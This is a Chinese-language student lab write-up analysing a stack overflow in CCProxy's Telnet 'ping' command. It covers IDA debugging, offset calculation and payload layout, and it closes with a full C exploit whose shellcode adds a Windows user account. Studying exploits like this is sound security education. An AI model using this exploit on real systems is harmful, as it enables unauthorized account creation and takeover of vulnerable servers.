CCProxy栈溢出漏洞
一. 漏洞发现
CCProxy是一款代理服务器软件,不仅支持常见的HTTP和SOCKETS代理,而且支持FTP和Telnet协议。我们这次的漏洞就是在Telnet服务当中的。
首先,使用ping指令进行大量输入,判断是否会出现栈溢出的情况,如果出现说明存在栈溢出的漏洞,并且可以进行利用。
使用kali通过telnet服务进行访问,ping指令后跟大量的重复字符。
报错并且显示地址为0x61616161,说明确实存在缓冲区溢出漏洞,并且可以进行利用。
二. 漏洞点探测
在发现了漏洞之后,按照实验指导书的方法是通过非重复字符串定位的方法进行判断溢出点和返回指令之间的相对距离来制定shellcode的格式。实验指导书上已说明的非常详细了,这里我采用逆向调试分析的方法查找漏洞溢出点和有关函数调用链。
1. 字符串搜索
首先根据提示字符信息,搜索和输入的ping指令有关的代码。
可以看到当发送的主机名无法识别时会接收到"Host not found"的提示字符串,在IDA当中进行查找定位到地址00430524处,这里调用了sprintf函数。这里其实就是溢出点,但是因为我对sprintf函数不熟悉,误以为它是打印有关字符串,错失了发现漏洞溢出点的机会,后续采用了其他方法才重新定位到该函数。
2. 函数溯源分析
分析打印字符串的函数sub_4304a0,发现hostname在这个函数当中不是以局部变量的形式进行存储,而是一个参数。
所以需要使用函数调用回溯,查看实际存储该数值所在的函数栈帧,按照惯例,应该是在该函数当中发生了栈溢出,覆盖了函数返回地址。
使用IDA进行函数调用回溯,发现调用链为sub_417260调用sub_426c10于0x0041744c,sub_426c10调用sub_4304a0于0x00426c30。sub_417260就是存放ping参数的函数,按照惯例,在这里应该就是发生栈溢出的地方,但是实际上该函数没有按照惯例构建栈帧。
这里分配了一个特别特别大的空间,并且最后在函数返回的时候也是需要覆盖一个特别大的空间。
在该函数流程当中也不存在其他可以修改程序执行流程的地方,明显和实验指导书上所描述的内容不符。逆向寻找陷入的困极当中。
3. 内存访问断点分析
重新思考,既然不是在这个初始函数当中出现问题,那么应该是在其他函数当中出现了调用该数据然后发生栈溢出的情况,可以在该地址空间下一个内存访问断点,当调用该数据时就进行查看,是不是我们想要的可能造成问题的函数,比如scanf,strcpy,strcact,memcpy函数等。
经过一段漫长的在dll函数当中的历程,终于找到了一处地方,这里将参数和"Host name not found"拼接了起来,放到另一个地址当中。地址为0x00430524:
惊讶的发现这里就是我们其实查找字符串对应的函数,使用IDA分析为一个名为sprintf的函数,但是这里不是使用dll导出函数,而是自己实现的一个函数。
但是功能是一致的。
查找有关资料,sprintf函数的功能是将一个字符串以特定格式复制到另一个地址处。
也就是在这个地方覆盖了返回地址,返回地址为:0x0043071e
在栈当中的存放返回地址的位置为:012d66f0
存放溢出点数组的其实地址为:012d62ec
但是需要注意的是前16个字节是确定的,实际shellcode的注入地址应该为012d62fc。
偏移量为:1012字节。
三. 编写exp
使用jmp esp跳转到shellcode执行代码处执行相应功能,所以我们将shellcode的执行代码放在跳转指令的后面,这样执行的时候就可以直接跳转到相应位置执行shellcode。
但是注意这里是retn c,也就是说应该加上16个字节。
正常来说编写的exp格式应该为:
[填充数据 1012字节] + [shellcode执行地址(这里是jmp esp的地址) 4字节] + [填充数据 12个字节][shellcode]
但是实际在分析过程当中发现这样会出现问题,在栈当中的数据不是我发送的exp内容,出现了顺序错误。如图:
但是实际上栈当中的数据为:
也就是说在溢出函数栈当中的存放的根本不是我们所发送的数据,而是存在变化。
分析该函数我们发现,这里是通过参数进行传递的,所以我们要去将ping的参数作为局部变量的函数进行分析,这个函数上面已经提到了是sub_417260。定位到该函数进行静态分析,经过分析发现了突破点,在调用下一个函数前先进行了一次复制操作,而复制的内容就是我们的name(ping指令的参数)。
动态分析:
在00417428,0041744c处下断点,分析指令执行情况
正常来说,这样是没有问题的,但是观察发现:
我们的shellcode不存在了,取而代之的是a的填充字符。这是因为name和str之间的相对偏移量为1024,而复制是通过逐字节依次进行复制的。所以当复制的内容超过1024字节之后,会从012d7b44也就是name的起始地址继续进行复制,我们后面的内容也就变成了name的起始地址的内容。
所以我们创建的exp格式需要重新构建:
在栈溢出函数为:1012字节的填充+4字节的jmp esp地址+12字节的填充+shellcode。
但是实际上发送的exp当中只有前1024字节为实际发送的,后续的内容为前1024字节的重复。
也就是说1012+4+8为实际发送的内容,后续应该是前1024的重复,即4(12-8)字节的填充,再加上shellcode的内容。在前1024字节内容当中前4个字节是填充,后续是shellcode,接下来到1012字节都是填充数据,然后是4字节的jmp esp地址,后续是填充字符。
实际exp格式为:
[填充数据 4字节] + [shellcode 假设为x字节] + [填充数据 1012-4-x字节] + [jmp esp地址 4字节] + [ 填充数据]
同时这里限定了我们的shellcode不能超过1008个字节。
重新编写exp:
这串shellcode用于执行创建账号指令,成功执行:
创建了新账号。
动态调试分析:
exp:
#include <stdio.h>
#include <winsock2.h>
#include <MSWSock.h>
#include <Windows.h>
#include<iostream>
using namespace std;
#pragma comment(lib, "ws2_32")
#define WIN32_LEAN_AND_MEAN
#define MAX_LEN 2000
unsigned char shell[] =
"\x55\x8b\xec\x33\xff\x57\x83\xec"
"\x0c\xc6\x45\xf0\x6e\xc6\x45\xf1 "
"\x65\xc6\x45\xf2\x74\xc6\x45\xf3 "
"\x20\xc6\x45\xf4\x75\xc6\x45\xf5 "
"\x73\xc6\x45\xf6\x65\xc6\x45\xf7 "
"\x72\xc6\x45\xf8\x20\xc6\x45\xf9 "
"\x61\xc6\x45\xfa\x20\xc6\x45\xfb "
"\x2f\xc6\x45\xfc\x61\xc6\x45\xfd "
"\x64\xc6\x45\xfe\x64\x8d\x45\xf0 "
"\x50\xb8\xc7\x93\xbf\x77\xff\xd0 ";
int main(int argc, char* argv[])
{
WSADATA ws;
int ret = WSAStartup(MAKEWORD(2, 2), &ws);
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(23);
sa.sin_addr.s_addr = inet_addr("192.168.182.129");
char buf[MAX_LEN];
char buf1[1024];
buf[0] = 'p'; buf[1] = 'i'; buf[2] = 'n'; buf[3] = 'g'; buf[4] = ' ';
int l = strlen((const char*)shell);
//1. 填充数据 4字节
buf[5] = buf[6] = buf[7] = buf[8] = 'a';
//2. shellcode x字节
for (int j = 9; j < 9 + l; j++)
{
buf[j] = shell[j - 9];
}
//3. 填充数据 1012-4-x字节
for (int i = 9 + l; i < 1012 + 5; i++)
buf[i] = 'a';
//4. jmp esp地址 4字节
buf[1017] = 0x12;
buf[1018] = 0x45;
buf[1019] = 0xFA;
buf[1020] = 0x7F;
//5. 填充数据
int i = 0;
for (i = 1021; i < 1998; i++)
buf[i] = 'a';
buf[1998] = '\r'; buf[1999] = '\n';
SOCKET sc = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); //连接到服务器
ret = connect(sc, (const sockaddr*)&sa, sizeof(sa));
if (ret == 0)
{
cout << "连接成功" << endl;
}
else
{
cout << "连接失败" << endl;
}
//接收服务器端的回答
recv(sc, buf1, 1024, 0);
// 发送攻击数据
ret = send(sc, buf, 2000, 0);
closesocket(sc);
WSACleanup();
return 0;
}